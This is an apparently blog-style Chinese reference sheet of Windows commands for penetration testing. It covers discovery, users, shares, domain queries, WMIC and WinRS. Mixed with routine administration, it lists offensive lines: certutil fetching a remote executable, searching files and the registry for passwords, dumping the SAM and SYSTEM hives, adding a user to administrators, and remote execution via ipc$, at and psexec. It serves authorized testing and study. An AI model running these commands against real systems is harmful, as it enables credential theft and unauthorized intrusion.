Windows环境渗透测试常用的命令总结
本文整理了Windows环境下进行渗透测试时常用的命令行工具和技巧,可作为渗透测试过程中的快速参考手册。
文件操作与信息收集
远程文件下载
1 2 3 4 5 6 7 8
| certutil -urlcache -split -f http://baidu.com/test.exe
findstr /s /i "pass" *.py*
regquery HKLM /f password /t REG_SZ /s
|
远程连接检查
1 2 3
| REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
|
补丁检查
1 2
| systeminfo > bzhack.txt & (for %i in (KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780) do @type bzhack.txt | @find /i "%i" || @echo %i you can exp) & del /f /q /a bzhack.txt
|
基础文件系统命令
命令 |
描述 |
常见用途 |
md |
建文件夹 |
创建新目录 |
rd |
删除文件夹 |
删除目录结构 |
tree |
显示文件夹结构 |
可视化目录层次 |
dir |
显示磁盘目录内容 |
列出文件和目录 |
copy |
复制文件 |
文件复制操作 |
Xcopy |
copy加强版 |
复制文件夹及其内容 |
del |
删除文件 |
删除指定文件 |
ren |
修改文件名 |
重命名文件或目录 |
type |
查看文本内容 |
显示文本文件内容 |
文件查找
1 2 3 4 5 6 7 8
| dir /a /s /b d:\"*.conf"
# 文本编辑 edit
# 显示文件内容 type
|
系统信息收集
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| hostname
cls
net start
net stop sharedaccess
set
fsutil fsinfo drives
|
网络信息收集
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ifconfig /all
net time /domain
net view /domain
net view <ip>
net config workstation
|
用户与权限管理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| net user <用户名> <密码> /add
net user <用户名> /del
net user guest /active:yes
net user
net user <账户名>
net user /domain
net user <用户名> /domain
net group /domain
net group "domainadmins" /domain
query user
net localgroup
net localgroup administrators
net localgroup administrators <用户名> /add
|
服务与共享管理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| net start
net start <服务名>
net stop <服务名>
net share
net share ipc$
net share ipc$ /del
net share c$ /del
|
域信息查询
1 2 3 4 5 6 7 8 9 10 11
| dsquery server
dsquery subnet
dsquery group
dsquery site
|
网络连接与端口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| netstat -a
netstat -an
netstat -n
netstat -an
netstat -v
netstat -p <协议名>
netstat -p tcp/ip
netstat -s
|
系统管理命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
|
nbtstat -A <ip>
reg save hklm\sam sam.hive
reg save hklm\system system.hive
net use \\<目标IP>\ipc$ <密码> /u:<用户名>
at \\<目标IP> 21:31 c:\server.exe
wmic /node:"<目标IP>" /password:"123456" /user:"admin"
psexec.exe \\<目标IP> -u <username> -p <password> -s cmd
finger <username> @host
|
网络与系统分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| route print
arp
arp -a
nslookup
tasklist
taskkill /pid <PID数>
whoami
systeminfo
ver
tasklist /svc netstat -ano
|
WMIC命令集
WMIC(Windows Management Instrumentation Command-line)是一个功能强大的命令行工具,可用于管理本地或远程计算机。
命令 |
用途 |
示例 |
wmic product |
查看安装软件信息 |
wmic product > ins.txt |
wmic bios |
查看BIOS信息 |
wmic bios |
wmic qfe |
查看补丁信息 |
wmic qfe get hotfixid |
wmic startup |
查看启动项 |
wmic startup list full |
wmic service |
查看系统服务 |
wmic service where state="running" |
wmic os |
查看操作系统信息 |
wmic os get caption,version |
wmic process |
查看进程信息 |
wmic process get caption,executablepath,commandline |
wmic logicaldisk |
查看硬盘信息 |
wmic logicaldisk where drivetype=3 get name, freespace |
wmic useraccount |
查看用户账户信息 |
wmic useraccount get /ALL |
wmic share |
查看共享信息 |
wmic share get /ALL |
WinRS远程命令
WinRS(Windows Remote Shell)是一个命令行工具,允许管理员在远程计算机上安全地运行命令。
基本用法
1 2 3 4 5 6 7
| winrs -r:https://myserver.com command winrs -r:myserver.com -usessl command winrs -r:myserver command winrs -r:http://127.0.0.1 command winrs -r:http://169.51.2.101:80 -unencrypted command winrs -r:https://[::FFFF:129.144.52.38] command winrs -r:http://[1080:0:0:0:8:800:200C:417A]:80 command
|
高级用法
1 2 3 4
| winrs -r:https://myserver.com -t:600 -u:administrator -p:$%fgh7 ipconfig winrs -r:myserver -env:PATH=^%PATH^%;c:\tools -env:TEMP=d:\temp config.cmd winrs -r:myserver netdom join myserver /domain:testdomain /userd:johns /passwordd:$%fgh789 winrs -r:myserver -ad -u:administrator -p:$%fgh7 dir \\anotherserver\share
|
总结
本文整理了Windows环境下进行渗透测试时常用的命令行工具和技巧,涵盖了系统信息收集、用户权限管理、网络连接分析等多个方面。在实际渗透测试过程中,熟练掌握这些命令可以大大提高工作效率。
注意:本文所列命令仅供安全研究和授权渗透测试使用,未经授权对系统进行渗透测试属于违法行为。